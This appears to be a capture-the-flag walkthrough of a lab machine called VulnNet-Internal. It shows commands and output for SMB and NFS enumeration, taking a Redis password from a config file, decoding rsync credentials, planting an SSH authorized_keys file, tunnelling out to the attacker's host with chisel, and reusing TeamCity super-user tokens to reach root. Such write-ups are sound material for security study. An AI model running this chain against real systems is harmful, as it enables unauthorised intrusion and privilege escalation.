PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA) | 256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA) |_ 256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3 2049/udp nfs | 100003 3 2049/udp6 nfs | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 33450/udp6 mountd | 100005 1,2,3 50459/tcp mountd | 100005 1,2,3 58213/tcp6 mountd | 100005 1,2,3 59415/udp mountd | 100021 1,3,4 39442/udp nlockmgr | 100021 1,3,4 41307/tcp6 nlockmgr | 100021 1,3,4 43645/tcp nlockmgr | 100021 1,3,4 57114/udp6 nlockmgr | 100227 3 2049/tcp nfs_acl | 100227 3 2049/tcp6 nfs_acl | 100227 3 2049/udp nfs_acl |_ 100227 3 2049/udp6 nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) 873/tcp open rsync (protocol version 31) 2049/tcp open nfs_acl 3 (RPC #100227) 9090/tcp filtered zeus-admin Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: -1s |_nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2022-09-05T15:03:59 |_ start_date: N/A | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: vulnnet-internal | NetBIOS computer name: VULNNET-INTERNAL\x00 | Domain name: \x00 | FQDN: vulnnet-internal |_ System time: 2022-09-05T17:03:59+02:00 | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required
Initial nmap scan gives some interesting services to enumerate. We’ll start with SMB.
smbclient -L //10.10.89.216
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shares Disk VulnNet Business Shares
IPC$ IPC IPC Service (vulnnet-internal server (Samba, Ubuntu))
We can access the folder shares with anonymous user and inside find 3 files. services.txt data.txt and business-req.txt.
Services.txt gives us the first flag but the others give not much else. We’ll continue on to enumerate the NFS shares.
showmount -e 10.10.89.216 Export list for 10.10.89.216: /opt/conf *t sudo mount -t nfs 10.10.89.216:/opt/conf ~/Desktop/thm/internal/share
When searcing through the /opt/conf/redis/redis.conf we find a password.
cat redis.conf | grep pass # 2) No password is configured. # If the master is password protected (using the "requirepass" configuration # masterauth <master-password> requirepass "B65Hx562F@ggAZ@F" # resync is enough, just passing the portion of data the slave missed while # 150k passwords per second against a good box. This means that you should # use a very strong password otherwise it will be very easy to break. # requirepass foobared
We can try to connect to Redis and see if this password works…
redis-cli -h 10.10.76.123 -p 6379 -a "B65Hx562F@ggAZ@F"
10.10.76.123:6379> ping
PONG
10.10.76.123:6379[2]> select 0
OK
10.10.76.123:6379> keys *
1) "marketlist"
2) "tmp"
3) "int"
4) "authlist"
5) "internal flag"
10.10.76.123:6379> get "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"
10.10.76.123:6379> lrange "authlist" 1 10
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="After bumbling through Redis for a while I come across these base64 encrypted keys which decode to:
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v
So we can quickly test rsync is working on the port before dumping the rsync file contents to a folder in our home directory.
nc -vn 10.10.89.216 873 (UNKNOWN) [10.10.89.216] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 #list files Necessary home interaction @RSYNCD: EXIT rsync -av rsync://rsync-connect@10.10.76.123/files ~/Desktop/thm/internal/rsync Password: receiving incremental file list ./ sys-internal/ sys-internal/.Xauthority sys-internal/.bash_history -> /dev/null sys-internal/.bash_logout sys-internal/.bashrc sys-internal/.dmrc sys-internal/.profile sys-internal/.rediscli_history -> /dev/null sys-internal/.sudo_as_admin_successful
When looking through the files, we see there’s a saved Firefox profile but it doesn’t contain any useful information. I come across a .ssh folder, meaning we can use rsync to add our own personal authorized keys to the users .ssh folder server.
rsync authorized_keys rsync://rsync-connect@10.10.76.123/files/sys-internal/.ssh ssh -i ~/.ssh/id_rsa sys-internal@10.10.76.123 Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-135-generic x86_64)
On the way to running linpeas I notice an interesting directory in / named TeamCity. Reading the readme inside the folder tell us it runs on localhost:8111, so we can set up a chisel proxy and connect.
#In Kali ./chisel server -p 9999 --reverse #On server ./chisel client 10.18.105.64:9999 R:8111:127.0.0.1:8111
Apparently we can log in as a super user with a token, so after a lot of searching we find a file in /TeamCity/logs containing some tokens.
sys-internal@vulnnet-internal:/TeamCity/logs$ grep -irl -e "token" . 2>/dev/null ./catalina.out sys-internal@vulnnet-internal:/TeamCity/logs$ cat ./catalina.out | grep token [TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server) [TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server) [TeamCity] Super user authentication token: 3782562599667957776 (use empty username with the token as the password to access the server) [TeamCity] Super user authentication token: 5812627377764625872 (use empty username with the token as the password to access the server) [TeamCity] Super user authentication token: 1744278789185545397 (use empty username with the token as the password to access the server) [TeamCity] Super user authentication token: 1744278789185545397 (use empty username with the token as the password to access the server)
The last token works and now that we’re logged in, it appears TeamCity will execute commands in the connected agent on the server for us.
Quickly after executing the build we pop a shell as root on the box and grab the root flag.
An good learning experience, I’ve never used Redis before so had to do a lot of reading to even navigate at a basic level. The idea of using rsync to also upload files to the server surprisingly took me a long while to considering; I’d spent a lot of time looking through config files and enumerating the Firefox profile.